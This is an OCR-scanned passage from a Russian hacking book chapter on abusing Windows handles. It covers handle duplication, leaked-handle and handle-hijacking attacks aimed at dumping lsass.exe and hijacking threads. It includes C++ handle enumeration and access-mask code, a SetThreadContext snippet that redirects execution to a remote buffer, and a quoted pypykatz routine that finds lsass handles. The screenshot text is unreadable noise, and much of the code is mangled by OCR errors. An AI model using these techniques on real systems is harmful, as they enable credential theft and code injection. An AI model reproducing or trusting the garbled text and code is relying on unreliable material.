все хендлы. Конечно, приоритетнее всего процессы и потоки. Взаимодействие
с ними позволит запустить шелл-код. Впрочем, тут опять не все так гладко. Полу
ченный хендл должен иметь хотя бы право PROCEss _ vм _WRITE (для процесса) или
TНREAD_SET_CONTEXT (для потока). Кстати, нам подойдут и хендлы на секции памяти
и
-
в исключительных случаях -
на конкретные файлы или ключи реестра.
Глава
10.
Как злоупотреблять хендлами в
Windows
181
Изучение хендлов процесса
Перед тем как приступить, можем глянуть хендлы конкретных процессов в систе
ме. Это позволит наметить дальнейший вектор развития атаки. У доб нее всего, как
мне кажется, использовать утилиту
рис.
io/downloads.php,
HilCker View Too!s U5ers
,0 Reft~
....
0
Options
неJр
I А Find handl~ or DU.s
Sysr~ infoonation
,
CPU
PID
Runt i-e8roker .е11е
18
11
[i]TextlnpytHost.exe
00 d\thos t..exe
11
[!3 dt\host.exe
12.
f!] SDXHe\per.exe
ApplicationFra/!МНIO. . .
18
00 SheHExperienceНos ...
RuntiмBroker .еке
[i:IWUDFHost.exe
""'
_,_
П,,нd
~.ConQiner.ot (8Я): 2940
NI/Olspla'f.ContJlner.ei.(8S6}:27t2
Н\l'Dilpllly.c:мaмr... {856): 2fil6
~-a.ulner-08 (856): 2692
NI/Olsplay. ~ . - ( 856): 2fit2
НVOllrploy.Coruir!er.or(856):2668
Тмнd
ctf80n.exe
:J
1!З
svchost.e,:e
lntetCpHOCPSvc.eкe
,
v 8 NVDispla .Container .е11е
1
■ NVDisplay.Cootaine ...
00 svchost. exe
\Wlnoows\WlndowStetloм\Seмee-(Ьi)-:Je7'$
НWlliplay.Co!ltмlel'".exe(8S6}:tOIO
""""
™""
""...
~d11sНost.exe
""""
\Wwldl:м,\~OIIO·:Je7$
"(hread
sihost.exe
о
TмNd
@WOFНOst.f!Xf!
f!J t.askhostw.exe
O.scription
Runt.i-e 8roker
МQdu6es МemOry &мron/Jlent l0ndle5 Seмon GPU
~tlde\д/181мdNldel
Тм...
svchost.t!XII!
Usн nв-
NB WINPC\tHchael
СеМП11 S\llt!ltlcs l'Wformlntl Tlnads ТоЬ!n
Тмнd
[i3
Privиte Ь ...
■ Сеойс,ва: NVDisplay,.Container.exe (856)
Tlvмd
~
1/0 t ...
3,б
00 svctюst.e,:e
v
!0 Q Х
9792
~dllhost.exe
(iJ
Process Hacker (https://processhacker.sourceforge.
10.1 ).
O,di;
О.И
t104<:
°'68с
О.И
tl!CStt
~
oxsea
OXSdl
NVOl!plly.c.ontlllnef.ne (856): 2614
О:1694
N\/Olsplay.Contмwr.ett!
Об5с
{856): 2'668
Non-t»!t8tlt~(:Жl):2652
Ох54с
П,,мd
НVOi5plli'f.Olntllnel".eD (&Я): ш:z
oxsto
Tlwнd
IМ)lsplay.Conhllмr.-
(856): 2644
N\/Oilplly.c.ontalnet. .-(856): 2fi88
(Ь!4е8
~-c.ont.irlel"-П8
(856): 1088
(Ь(J.к
NW!spley.contallnef.tx!! (856): 1080
Ох194
::
-Tlwнd
-·
х
Dl,t: and Netwon; Comment
011'178
-~.lfCl:5\SМtl :8S6: Э04:WII.Stogin. ..
ОХ58
~М0:856:304:WISЬgn_
064
\lla'Sll!КilfмdOЬjetts\_~-
ОХб68
~~~-с.-.Оlб48
l!3 svchost.exe
СЕ:!)
v i_i3 igfxCUIServiceN.eJ11.e
~4.17"
Physk,lmemocy.8,ЗG8{26.13't.)
Proces.ses:160
Рис.
Есть также
intemals
10.1.
Изучение хендлов процесса
System Explorer (https://github.com/zodiacon/SystemExplorer)
и
(https:/Лearn.microsoft.com/en-us/sysinternals/downloads/handle, рис.
Sys10.2),
но я ими пользовался не очень много.
44: File (RW-)
(:\Windows
FC: Section
\Windo~1s\ Theme1206686908
138: File (R-D)
C:\Windoиs\Systeш32\en-US\Conhost.exe.шui
\Sessions\6\Windows\Theшe2754350462
160: Section
lCC: File (R-D)
С: \Prograш Files\illindo1,sApps\~licrosoft. LanguageEx1
!ЬЬ1,е \Windows \Sys teш32\en-GB\propsys. dll. mui
\Sessions \6\BaseNamedObjects \1,indows_shell_global_
1Е0: Section
Рис.
10.2.
Вывод инструмента
Handle
из пакета
Sysinternals
Handle Duplicating
Это самая первая атака на хендлы. Основана она по большей части на функции
(https://learn.microsoft.com/ru-ru/windows/win32/api/handleapi/nfhandleapi-d uplicatehandle) и ее более низкоуровневых аналогах вроде
Dupl ica teHandle ()
Часть
182
11. Системное программирование для хакеров
(http://undocumented.ntinternals.net/index.html?page=UserMode
%2FUndocumented%20Functions%2FNT%20Objects%2FType%20independed%
2FNtDuplicateObject.html).
';:
NtDuplicateObject (}
Взглянем на прототип функции.
В001
DuplicateHandle(
[in)
НANDLE
[in)
НANDLE
hSourceHandle,
[in)
НANDLE
hTargetProcessHandle,
hSourceProcessHandle,
[out)
LPНANDLE
lpTargetHandle,
[in)
DWORD
dwDesiredAccess,
[in)
В001
Ыnheri tHandle,
[in)
DWORD
dWOptions
':.+~
,,''
);
□ hSourceProcessHandle -
хендл процесса, из которого требуется скопировать хендл.
Должен иметь маску доступа PROCESS_ DUP_НANDLE;
□ hSourceHandle -
хендл, который нужно скопировать;
□ hTargetProcessHandle □ lpTargetHandle -
□ dwDesiredAccess □ ЫnheritHandle -
процесс, в который нужно скопировать хендл;
куда класть скопированный хендл;
флаги доступа;
наследуемый ли дескриптор, т. е. можно ли его передавать в до-
черние процессы;
□ dwOptions -
дополнительные параметры.
Подробнее каждый аргумент можно изучить в официальной документации:
(https://learn.microsoft.com/ru-ru/windows/win32/api/handleapi/nf-handleapiduplicatehandle).
Итак, вся атака заключается в том, что мы находим процессы, на которые можем
запросить хендл с маской PROCESS _DUP _НANDLE, затем копируем их хендлы, изучаем, на
что они указывают, после чего эксплуатируем! Например, на процесс victim.exe из
нашего процесса target. ехе можно успешно получить хендл с нужной маской. После
копирования дескрипторов из целевого процесса обнаруживаем, что у нас есть де
скриптор процесса lsass.exe! Как следствие, успешно дампим процесс.
Конечно, в целевом процессе может быть указана плохая маска доступа, которая не
подходит для дампа процесса. Тем не менее, если у нас есть хендл, мы можем рас
парсить его и извлечь маску доступа, используемую для получения этого хендла.
Здесь
нам
поможет
функция
(https://learn.microsoft.com/ru-ru/
windows/win32/api/winternl/nf-winternl-ntqueryobject) и передача структуры Рuвыс_
OBJECT _BASIC _ INFORМATION (https://learn.microsoft.com/ru-ru/windows-hardware/drivers/
ddi/ntifs/ns-ntifs-_puЫic_object_basic_information, рис. 10.3).
#include <iostream>
#include <windows.h>
#include <winternl.h>
NtQueryObject (}
Глава
1О.
Как злоупотреблять хендлами в
Рис.
#pragma comment (lib,
void
ntdll. lib
Пример вывода
11 )
accessMask)
GENERIC_READ) == GENERIC _READ) std:: cout « GENERIC READ
GENERIC_WRITE) == GENERIC_WRITE) std:: cout « "GENERIC_WRITE ";
GENERIC_EXECUTE) == GENERIC_EXECUTE) std::cout « GENERIC_EXECUTE
GENERIC_ALL) == GENERIC_ALL) std::cout « GENERIC ALL
ParseAccessMask(ACCESS_МASK
(accessMask
if ( (accessMask
if ((accessMask
if ( (accessMask
if
11
10.3.
183
Windows
(
&
&
&
&
11 ;
11
11
11 ;
11 ;
11
PROCESS_CREATE_PROCESS) std: :cout <<
PROCESS CREATE PROCESS
« 11 PROCESS_TERМINATE
:cout
std:
if ( (accessMask & PROCESS_TERМINATE) = PROCESS_TERМINATE)
if ((accessMask & PROCESS_SUSPEND_RESUМE) == PROCESS_SUSPEND_RESUМE) std: :cout <<
PROCESS SUSPEND RESUМE
if ( (accessMask & PROCESS_QUERY_INFORМATION) == PROCESS_QUERY_INFORМATION) std::cout <<
if ((accessMask & PROCESS_CREATE_PROCESS)
==
11
11
11
if ( (accessMask & PROCESS_SET_INFORМATION)
==
PROCESS SET
-
std: :cout « std: :endl;
int main()
НANDLE hProcess
=
GetCurrentProcess();
ULONG returnLength = О;
PUBLIC- OBJECT- BASIC- INFORМATION obi;
NTSTATUS status = NtQueryObject(
hProcess,
ObjectBasiclnformation,
11 ;
11 ;
11 ;
PROCESS_QUERY_INFORМATION
11 ;
std: :cout <<
PROCESS SET INFORМATION
11 ;
INFORМATION)
-
11
Часть
184
11.
Системное программирование для хакеров
&obi,
sizeof (оЬi),
&returnLength);
if (NT_SUCCESS(status))
std: :cout « "Granted Access: " « std: :hex «
oЬi.GrantedAccess
« std: :endl;
ParseAccessMask(oЬi.GrantedAccess);
else {
std: :cerr « "NtQueryObject failed with status: " « std: :hex « status « std: :endl;
CloseHandle(hProcess);
return
О;
Есть проблема: мы парсим маски, совершенно забывая о том, что маски доступа
могут иметь перекрывающиеся значения. Например, у процесса есть
у потока
-
PROCESS _vм _READ,
TНREAD_SET_CONTEXT, а эти оба значения указывают на охоо10, поэтому нашу
функцию парсинrа маски доступа нужно модифицировать, научив распознавать
переданный хендл.
Далеко ходить не надо
-
используем ту же функцию NtQueryObject (), только будем
передавать ей структуру PUBLIC _овJЕст _ТУРЕ _INFORМATION
(https://learn.microsoft.com/
ru-ru/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_puЫic_ object_type_information ).
typedef struct
PUBLIC_OBJECT_TYPE_INFORМATION {
UNICODE_STRING TypeName;
ULONG
Reserved[22];
PUBLIC_OBJECT_TYPE_INFORМATION,
*PPUBLIC_OBJECT_TYPE_INFORМATION;
Здесь будем отталкиваться только от поля TypeName. Именно там содержится тип
объекта, на который указывает хендл.
Нам остается лишь несколько поправить код (рис.
10.4).
#include <iostream>
#include <windows.h>
#include <winternl.h>
#pragma
coпnnent(lib,
"ntdll.lib")
std: :wstring GetHandleType(НANDLE handle)
NTSTATUS status;
ULONG returnLength;
std::wstring handleType;
ULONG bufferSize = sizeof(PUBLIC_OBJECT_TYPE INFORМATION) + 1024;
PPUBLIC_OBJECT_TYPE_INFORМATION objectTypeinfo = (PPUBLIC_OBJECT_TYPE_INFORМATION)
new UCНAR[bufferSize];
Глава
1О.
Как злоупотреблять хендлами в
185
Windows
х
□
~ Консоль отл.!ДIСИ Mюosoft V1sual Studю
(jranted Ac ce ss: 1fffff
Handle
Туре:
Thread
THREAD ALL ACCESS THREAD DIRECT I!-1PERSOHAТIOrJ TH RE AD GET соr-,нхт THREAD H1PERSOr-JAП THREAD QUERY INFORHAТIШJ TH READ QUER
v _L ItHTED_INFOR1'1AT roN т нREAD_S E т _СО/JТЕХТ THRE AD_S Eт _INFORI-\A поr1 тнRЕАD_5ЕТ _LINIТED_ItJFORMT ror, THREAD_sп _ тнRЕАD_ тoiiEN т
HREAD_SUSPEtJD_RESUNE THREAD_ ТERr-l!NдТE
А:
\SS D\ Proje ctsVS \САрр\хб4 \Debug \САрр . е.<е ( ,, роцесс 6096)
'-lтобы автоматическ"
rо.~~атически
эаw;рыть
заверuил работу с
закр1:.1вать консоль при оста н овке отладки,
консоль при
кодо,.,
включите параметр
0.
"Сервис"
->"Параметры"
.,."отладка"
-~
"Ав
остановке отл адrи".
HaNMYTe nюбу~0 кл авишу. чтобы закрыть это о~.;но:
Рис.
10.4.
Пример вывода
if ('objectTypeinfo) (
std: :cerr « "Memory allocation failed" « std: :endl;
return handleType;
status
NtQueryObject(handle, ObjectTypeinformat i on , objectTypeinfo, bufferSize ,
&returnLength) ;
if (NT SUCCESS(status)) {
handleType.assign(objectTypeinfo->TypeName.Buffer, objectType info->TypeName .Length /
sizeo f ( WCНAR ))
;
else
std: :cerr « "Failed to get ob ject type information" « std: :endl;
delete[ 1 (UC НAR*)objectTypeinfo;
ret11r11 handleType;
void ParseAccess Mask (НANDLE handle, ACCESS_МASK accessMask) {
std: :wstring handleType = GetHandleType(handle ) ;
std: :wcout « L"Handle Туре : " « handleType « std: :endl;
if (handleType == L"Process ") {
if ( (accessMas k & PROCESS_ALL_ACCESS) == PROCESS_ALL_ACCESS) std: :wcout <<
L"PROCESS ALL ACCESS ";
std: :wcout <<
PROCESS_CREATE_PROCESS)
PROCESS)
CREATE
PROCESS
&
if ((accessMas k
L"PROCESS CREATE PROCESS ";
Часть
186
if ( (accessMask & PROCESS_CREATE_TНREAD) ==
if ( (accessMask
11.
Системное программирование для хакеров
std::wcout <<
L"PROCESS- CREATE- TНREAD ";
& PROCESS_DUP_НANDLE) = PROCESS_DUP_НANDLE) std: :wcout <<
L"PROCESS DUP НANDLE
& PROCESS_QUERY_INFORМATION) == PROCESS_QUERY_INFORМATION) std::wcout <<
L"PROCESS_QUERY_INFORМATION ";
& PROCESS_QUERY_LIMITED_INFORМATION) == PROCESS_QUERY_LIMITED_INFORМATION)
std: :wcout « L"PROCESS_QUERY_LIMITED_INFORМATION ";
& PROCESS_SET_INFORМATION) == PROCESS_SET_INFORМATION) std::wcout <<
L"PROCESS SET INFORМATION ";
& PROCESS_SET_QUOTA) == PROCESS_SET_QUOTA) std::wcout <<
L"PROCESS_SET_QUOTA ";
& PROCESS SUSPEND RESUМE) == PROCESS SUSPEND RESUМE) std::wcout <<
- L"PROCESS SUSPEND RESUМE ";
& PROCESS_TERМINATE) == PROCESS_TERМINATE) std::wcout <<
L PROCESS TERМINATE ";
& PROCESS_VМ_OPERATION) = PROCESS_VМ_OPERATION) std: :wcout <<
L"PROCESS VМ OPERATION
& PROCESS_VМ_READ) == PROCESS_VМ_READ) std: :wcout « L 11 PROCESS_VМ_READ ";
& PROCESS_VМ_WRITE) == PROCESS_VМ_WRITE) std::wcout <<
L"PROCESS VМ WRITE ";
& SYNCHRONIZE) == SYNCHRONIZE) std: :wcout « L"SYNCHRONIZE
PROCESS_CREATE_TНREAD)
11 ;
if ((accessMask
if ((accessMask
if ((accessMask
if ( (accessMask
if ( (accessMask
if ( (accessMask
11
if ( (accessMask
11 ;
if ( (accessMask
if ( (accessMask
if ( (accessMask
11 ;
else if (handleType == L"Thread") {
if ((accessMask & THREAD_ALL_ACCESS) == THREAD_ALL_ACCESS) std: :wcout <<
ALL ACCESS
& THREAD DIRECT IMPERSONATION) == THREAD DIRECT IMPERSONATION)
std: :wcout «-L"THREAD DIRECT IMPERSONAТION
& THREAD_GET_CONTEXT) == TНREAD_GET_CONTEXT) std: :wcout <<
L"THREAD GET CONTEXT
& THREAD_IMPERSONATE) == THREAD_IMPERSONATE) std: :wcout <<
L"THREAD IMPERSONATE
& THREAD_QUERY_INFORМATION) == TНREAD_QUERY_INFORМATION) std: :wcout <<
L"TНREAD
if ((accessMask
if ((accessMask
if ((accessMask
if ((accessMask
11 ;
11 ;
11 ;
11 ;
L"TНREAD_QUERY_INFORМATION ";
if ((accessMask & THREAD_QUERY_LIMITED_INFORМATION) == THREAD_QUERY_LIMITED_INFORМATION)
std: :wcout « L THREAD_QUERY_LIMITED_INFORМATION ";
if ((accessMask & THREAD_SET_CONTEXT) == THREAD_SET_CONTEXT) std: :wcout <<
L11 THREAD SET CONTEXT 11 ;
if ((accessMask & THREAD_SET_INFORМATION) == THREAD_SET_INFORМATION) std: :wcout <<
L11 THREAD SET INFORМATION 11 ;
if 1(accessMask & THREAD_SET_LIMITED_INFORМATION) == THREAD_SET_LIMITED_INFORМATION)
std: :wcout « L"THREAD- SET- LIMITED- INFORМAТION
if ( (accessMask & THREAD_SET_THREAD_TOКEN) == THREAD_SET_THREAD_TOКEN) std: :wcout <<
L11 THREAD SET THREAD TOKEN 11 ;
if ((accessMask & THREAD_SUSPEND_RESUМE) == TНREAD_SUSPEND_RESUМE) std: :wcout <<
L11 THREAD SUSPEND RESUME ";
if ((accessMask & THREAD TERМINATE) == THREAD_TERМINATE) std::wcout <<
L THREAD TERМINAТE ";
11
11 ;
11
std::wcout « std::endl;
Глава
10.
Как злоупотреблять хендлами в
Windows
187
int main() (
//НANDLE hProcess = GetCurrentProcess();
НANDLE hProcess = GetCurrentThread();
ULONG returnLength = О;
PUBLIC- OBJECT- BASIC - INFORМATION obi;
NTSTATUS status = NtQueryObject(
hProcess,
ObjectBasicinformation,
&оЬi,
sizeof (оЬi),
&returnLength) ;
if (NT_SUCCESS(status))
std: :cout « "Granted Access: " « std: :hex «
ParseAccessMask(hProcess, oЬi.GrantedAccess);
oЬi.GrantedAccess
« std: :endl;
else (
std: :cerr « "NtQueryObject failed with status: " « std: :hex « status « std: :endl;
CloseHandle(hProcess);
return
О;
Отлично! Код, правда, не блещет красотой со всеми этими if. Сеньоры так не
пишут! Поэтому предлагаю создать
std: :map.
std: :map<ACCESS_МASK, std: :wstring> CreateAccessRightsMap(const std: :wstring& handleType) {
if (handleType == L"Process") (
return {
{PROCESS_ALL_ACCESS, L"PROCESS_ALL_ACCESS"),
(PROCESS_CREATE_PROCESS, L"PROCESS_CREAТE_PROCESS"),
(PROCESS_CREAТE_THREAD, L"PROCESS_CREATE_THREAD"),
(PROCESS_DUP_НANDLE,
L"PROCESS_DUP_НANDLE"),
(PROCESS_QUERY_INFORМAТION,
L"PROCESS_QUERY_INFORМATION"),
(PROCESS_QlJERY_LIMITED_INFORМATION,
(PROCESS_SET_INFORМATION,
L"PROCESS_QlJERY_LIMITED_INFORМATION"),
L"PROCESS_SET_INFORМATION"),
(PROCESS_SET_QUOTA, L"PROCESS_SET_QUOTA"),
{PROCESS_SUSPEND_RESlJME, L"PROCESS_SUSPEND_RESUМE"),
(PROCESS_TERМINATE,
L"PROCESS_TERМINATE"),
(PROCESS_VМ_OPERATION,
(PROCESS_VМ_READ,
(PROCESS_VМ_WRITE,
L"PROCESS_VМ_OPERATION"),
L"PROCESS_VМ_READ"),
L"PROCESS_VМ_WRITE"),
{SYNCHRONIZE, L"SYNCHRONIZE")
);
Часть
188
11.
Системное программирование для хакеров
else if (handleType == L"Thread") {
return {
{TНREAD_ALL_ACCESS,
L"TНREAD_ALL_ACCESS"),
{TНREAD_DIRECT_IMPERSONATION,
L"TНREAD_DIRECT_IMPERSONAТION"),
{TНREAD_GET_CONTEXT,
L"TНREAD_GET_CONTEXT"),
(TНREAD_IMPERSONATE,
L"THREAD_IMPERSONATE"),
{TНREAD_QUERY_INFORМAТION,
L"TНREAD_QUERY_INFORМATION"),
{TНREAD_QUERY_LIMITED_INFORМATION,
(TНREAD_SET_CONTEXT,
(TНREAD_SET_INFORМATION,
L"THREAD_SET_INFORМATION"),
(TНREAD_SET_LIMITED_INFORМATION,
{TНREAD_SET_THREAD_TOКEN,
(TНREAD_SUSPEND_RESUМE,
(TНREAD_TERМINATE,
L"TНREAD_QUERY_LIMIТED_INFORМATION"),
L"THREAD_SET_CONTEXT"),
L"TНREAD_SET_LIMITED_INFORМAТION"),
L"TНREAD_SET_THREAD_TOKEN"),
L"THREAD_SUSPEND_RESUМE"),
L"TНREAD_TERМINATE")
);
return ();
void ParseAccessMask(НANDLE handle, ACCESS_МASK accessMask) (
std::wstring handleType = GetHandleType(handle);
std: :wcout « L"Handle Туре: " « handleType « std: :endl;
auto accessRightsMap = CreateAccessRightsMap(handleType);
for (const auto& [mask, name] : accessRightsMap)
if ( (accessMask & mask) == mask)
std: :wcout << name << L" ";
std: :wcout << std::endl;
Теперь мы умеем по хендлу получать информацию о самом дескрипторе и извле
кать его маску. Остается лишь самое малое- получить эти хендлы.
Нам не составит труда это сделать с помощью функции NtQuerySysteminformation ()
(https:/Лearn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquery
systeminformation)
и передачи структуры SYSTEМ _НANDLE _ INFORМATION.
PSYSTEМ НANDLE INFORМATION
-
-
hinfo;
VOID GetHandles() (
ULONG returnLenght = О;
unsigned long long aSize = Ох69;
hinfo = (PSYSTEМ_НANDLE_INFORМATION)malloc(aSize);
Глава
10.
Как злоупотреблять хендлами в
189
Windows
fNtQuerySysteminfonnation NtQuerySysteminfonnation =
(fNtQuerySysteminformation)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtQuerySysteminfonnation");
while (NtQuerySysteminfonnation(OxlO, hlnfo, aSize, &returnLenght) ==
STATUS_INFO_LENGTH_MISМATCH)
aSize
hlnfo
returnLenght + 1024;
(PSYSTEМ_НANDLE_ INFORМATION)malloc(aSize);
Теперь получить доступ к хендлу возможно через hinfo->Handles [iJ .Object. В функ
цию
DuplicateHandle
hinfo->Handles[i] .HandleValue, т. к . в Object
значение хендла.
хендл, а в HandleValue -
следует передавать
держится адрес, по которому лежит
Убедиться в том, что все так и есть, можно с помощью
указано значение Object, а под цифрой
Свойства:sУСhоstехе
•
со
Под цифрой
Process Hacker.
10.5).
1
нandleValue (рис.
2-
о
( 1132)
х
,
Gen,nil
Sliltistics Petfoononce Threods TOQ!fl
Мodules
Oislt мк1 Networt Convnent
Мemory Enwooment Нondles 5ема!5 Gl'U
Б2] Hide unnomed hondles
-
\~~Эе1'$
Туре
.......
llx1o4
\Wondows\WindowStotions\SeNiOНЬdl 3е7$
Ох1Ьс
Token
SERVICE: ОХЗеS (lmp ...
WINPC\l"ldwlel: ОхЬ9640 (Jmpersonotion}
Token
WINPC\l"ldwlel: -
OXl4SO
OxllOO
OxlOSO
WindowStooon
Token
NТ AUТНORIГf\LOCAL
Token
(Im~}
NТ AUТНORIТ'I\GICТEМA: Ох3е7 (Jmper,;on. ..
NТ AUТНORIТ'I\GICТEМA: ОХ3е7 (ImpefSDn...
Token
WINPC\Мichoel : ОхЬ9640
(Jm~}
Token
Token
WINPC\Мichael : ОхЬ9640
(Im~}
Token
Token
Token
Token
Token
Token
WINPC\Мк:hoel : ОхЬ9640
(Jm~}
WINPC\Мichoel : ОхЬ964О ( J m ~ }
WINPC\Мichoel: ОхЬ9640 (Jmper,onotion}
WINPC\Мichoel: ОхЬ9640 (lmper,onotion}
NТ AUТНORIТ'I\GICТEМA: ОХ3е7 (i"npefson. ..
WINPC\Мichael : ОхЬ964О
(lmper,onotion}
Token
Token
Tol<en
WINК\МidlOel : -
Tol<en
NТ АUТНОRIТ'l\01СТЕМА: ОХ3е7
Threod
Threod
- .... (1132}: 4584
- .... (1132): 11404
WINPC\Мichael: ОхЬ9640
(Pnmoly}
(Pri"""Y}
Ох103"
-
Ох1020
О>сfВс
O>cfSO
O>cf48
ОХе9с
х
General Беэоnесностh
Bastc infonnalion
®
Name: \Windows\WindowStalions\Sennce-Oa0-3e7S
Туре:
WindowStalion
OЬject add<ess: Odll850IIЬ43cb
Grantedacce.!s:
Od)37f(Futlcont
А
__.
Ouota charges
ReJerences
СЬсе6О
References:
2653m
Paged:
О
OxeS8
OJcd9c
Handles:
95
Non-paged:
2411
1Ьсd54
NТ АUТНОRIТ'l\01СТЕМА: Ох3е7 (llnpe,зon. ..
(Prim<lry}
ОJсба:
ОХ152с
ОХ14е8
ок
Рис.
10.5.
Просмотр
HandleValue
и
11 ° ' -
Object
После успешного копирования хендла можно делать с ним что угодно (конечно,
если это разрешает маска доступа)! Например, вот пара идей, которые могут по
мочь нам побаловаться:
□
Handle Ripper (https://github.com/ZeroMemoryEx/Нandle-Ripper/ЫoЬ/master/
Handle-Ripper/Source.cpp);
Часть
190
□
11.
Системное программирование для хакеров
MalSecLogon
(https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html).
В
частности,
если
наш
хендл
указывает
на
поток
и
маска
доступа
-
TНREAD_SET_CONTEXT, то это позволяет вызывать функцию setThreadContext()
(https://
learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapisetthreadcontext). С ее помощью мы можем применить к потоку специальную
структуру
CONTEXT.
typedef struct _WOW64_CONTEXT {
DWORD
ContextFlags;
DWORD
Dr0;
Drl;
DWORD
Dr2;
DWORD
DrЗ;
DWORD
Drб;
DWORD
Dr7;
DWORD
WOW64_FLOATING_SAVE_AREA FloatSave;
DWORD
SegGs;
SegFs;
DWORD
DWORD
SegEs;
DWORD
SegDs;
DWORD
Edi;
Esi;
DWORD
ЕЬх;
DWORD
Edx;
DWORD
Есх;
DWORD
Еах;
DWORD
ЕЬр;
DWORD
Eip;
DWORD
SegCs;
DWORD
DWORD
EFlags;
Esp;
DWORD
DWORD
SegSs;
ВУТЕ
ExtendedRegisters[WOW64_МAXIMUМ_SUPPORTED_EXTENSION];
} WOW64_CONTEXT;
Как видите, эта структура представляет собой набор значений регистров процесса,
которые можно указать и которые будут применены. В частности, можно перена
править поток управления целевой программы, изменив регистр
Eip
или
Rip
в слу
чае х64.
CONTEXT context;
context.Rip = (DWORD_PTR)remoteBuffer;
SetThreadContext(threadНijacked, &context);
Кстати, именно этот способ использует
lsass.exe. Ниже -
pypykatz
при попытке сдампить процесс
соответствующий участок кода
pypykatz (https://github.com/
skelsec/pypykatz/ЫoЬ/6c02115704596659c98775el 70e93d0f8670t1)4Ь/pypykatz/com
mons/winapi/local/function_ defs/live_ reader_ ctypes. py#L79).
Глава
1О.
Как злоупотреблять хендлами в
191
Windows
def enum_lsass_handles():
#searches for open LSASS process handles in all processes
# уои should Ье having SE_DEBUG enaЬled at this point
RtlAdjustPrivilege(20)
lsass_handles = []
sysinfohandles = NtQuerySysteminfoпnation(lб)
for pid in sysinfohandles:
if pid == 4:
continue
#if pid != GetCurrentProcessid():
# continue
for syshandle in sysinfohandles[pid]:
#print(pid)
try:
pHandle = OpenProcess(PROCESS_DUP_НANDLE, False, pid)
except Exception as е:
logger.debug('Error opening process %s Reason: %s' % (pid,
continue
е))
try:
dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(),
PROCESS_QUERY_INFORМATIONIPROCESS_VМ_READ)
#print(dupHandle)
except Exception as е:
logger.debug('Failed to duplicate object! PID: %s
НANDLE:
%s' % (pid,
hex(syshandle.Handle) ))
continue
oinfo = NtQueryObject(dupHandle, ObjectTypelnfoпnation)
if oinfo.Name.getString() = 'Process':
try:
pname = QueryFullProcessimageNameW(dupHandle)
if pname.lower() .find('lsass.exe') != -1:
logger.info('Found open handle to lsass! PID: %s НANDLE: %s' % (pid,
hex(syshandle.Handle) ))
#print ( '%s : %s' % (pid, pname) )
lsass_handles.append((pid, dupHandle))
except Exception as е:
logger.debug('Failed to obtain the path of the process! PID: %s' %pid)
continue
return lsass handles
Целевой процесс lsass. ехе здесь mцется при помощи функции QueryFullProcessimageNamew ()
(bttps://learn.microsoft.com/ru-ru/windows/win32/api/winbase/nf-winbase-queryfull
processimagenamew). Ей (в реализации pypykatz) требуется передать только скопи
рованный хенД11.
Часть
192
11.
Системное программирование для хакеров
Leaked Handle
Эта атака несколько отличается от
Handle Duplicating,
хотя во многом похожа. Она
основана на том, что привилегированный процесс запускает с открытыми и насле
дуемыми дескрипторами другой процесс, непривилегированный, предоставляя ему
доступ к своим дескрипторам.
Итак, пусть процесс запущен от лица NT AUTHORITY\SYSTEM. У этого процесса есть свои
дескрипторы
каких-то
объектов.
Затем
этот
системный
процесс
дергает
CreateProcess (), указывая ЫпheritHandles равным TRUE. Это приводит к тому, что про
цесс, который запускается через CreateProcess (), во-первых, становится дочерним по
отношению к системному (родительскому) процессу, во-вторых, наследует все
хендлы родительского процесса. Например, если родительский процесс получил
дескриптор на какой-нибудь другой процесс, а затем создал дочерний с наследова
нием дескрипторов, то дочерний процесс получит доступ к этому дескриптору.
В результате у дочернего процесса с низкими привилегиями появляется возмож
ность использовать хендлы родительского процесса.
Как ни странно, но здесь используются плюс-минус те же вызовы
API. С помощью
(https://learn.microsoft.com/en-us/windows/win32/api/
winternl/nf-winternl-ntquerysysteminformation) перечисляем хендлы, обнаружива
NtQuerySysterninforrnation ()
ем те, которые принадлежат нашему родительскому процессу, после чего копируем
их и эксплуатируем!
На эту атак) чуть больше РоС'ов, но вообще алгоритм такой же, как и у
Duplicating, поэтому можно считать Leaked Handle более
дартного Handle Duplicating. Вот несколько вариантов РоС:
111
А,дмwниС'11)атор:
Windows Ро
Х
Т
Handle
частным случаем стан
о
V
х
PS С : \Users\l'tichaet \Downtoads> . \ ExploitLeakedHandle . ехе
1--==== 1
(_) 1 1
11
111
1 1__ -- -- _ 1 1 -- -1 1_1 1
-- _1 1
__ 1 1 1__ 1 1 -- __ -- __ 1 1 1 __ _
1 --1 \ \/ / ' - \ 1 1/ - \ 1 1 __ 1 1 / - \ / - ' 1 1/ / - \/ _' 1
1/ _' 1 ' _ \ / _' 1 1/ _ \
1 1___ > < 1 1_) 1 1 (_) 1 1 1_1 1___ 1 __/ С 1 1 < __/ С 1 1 1 1 1 С 1 1 1 1 1 С 1 1 1 __/
1_____ _/ _/\_ \ . __/ 1_1, __ _/ 1_1, __ 1______ , __ 1, _ , _1_1,_ , ___ 1, __ , _1_1 1_1, __ , _1_1 1_1, __ , _1_1, ___ 1
11
https : / / github. coш / 0 x0 0Chock
1-1
[ +] Checking 76б2Ц handtes .for potentiat abuse ..
[ +] ldentified 21 interesting handles:
00 - firofox . охо(1186Ц}
Parent Process
<UNKNOWN>(8800)
Handte Vatue
0х59Ц
Handlo Туре
FILE [0х25]
Object Name
\Device\Afd
Access Mask
0xl6019F
- FILE_WRПE_DATA
01 -
firefox.exe(ll86Ч)
Parent Process
<UNИNDWN>(8800)
Handle Value
Handte Туре
Object Name
Access 11ask
FILE [0х25]
\ Device\ Afd
0х5А8
0xlб019F
Рис.
10.6.
Пример работы
1
Глава
□
□
10.
Как злоупотреблять хендлами в
193
Windows
ReHacks (https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Нandles);
ExploitLeakedHandle (https://github.com/0x00Check/ExploitLeakedHandle) моя любимая реализация;
□
LeakedHandlesFinder (https://github.com/lab52io/LeakedНandlesFinder).
Второй и третий наиболее интересны из-за возможности автоматической эксплуа
тации множества различных хендлов (рис.
10.6).
Handle Hijacking
Эта атака позволяет подменить один хендл другим и, например, перенаправить по
ток вывода в другой файл. Фактически мы можем манипулировать дескрипторами
чужих процессов.
Атака основана на том, что
Windows
повторно использует индексы дескрипторов.
Когда дескриптор закрывается, следующий дескриптор, созданный в этом процес
се, будет повторно использовать индекс предыдущего дескриптора. Например, за
крыли дескриптор с индексом
тоже будет равен
1О,
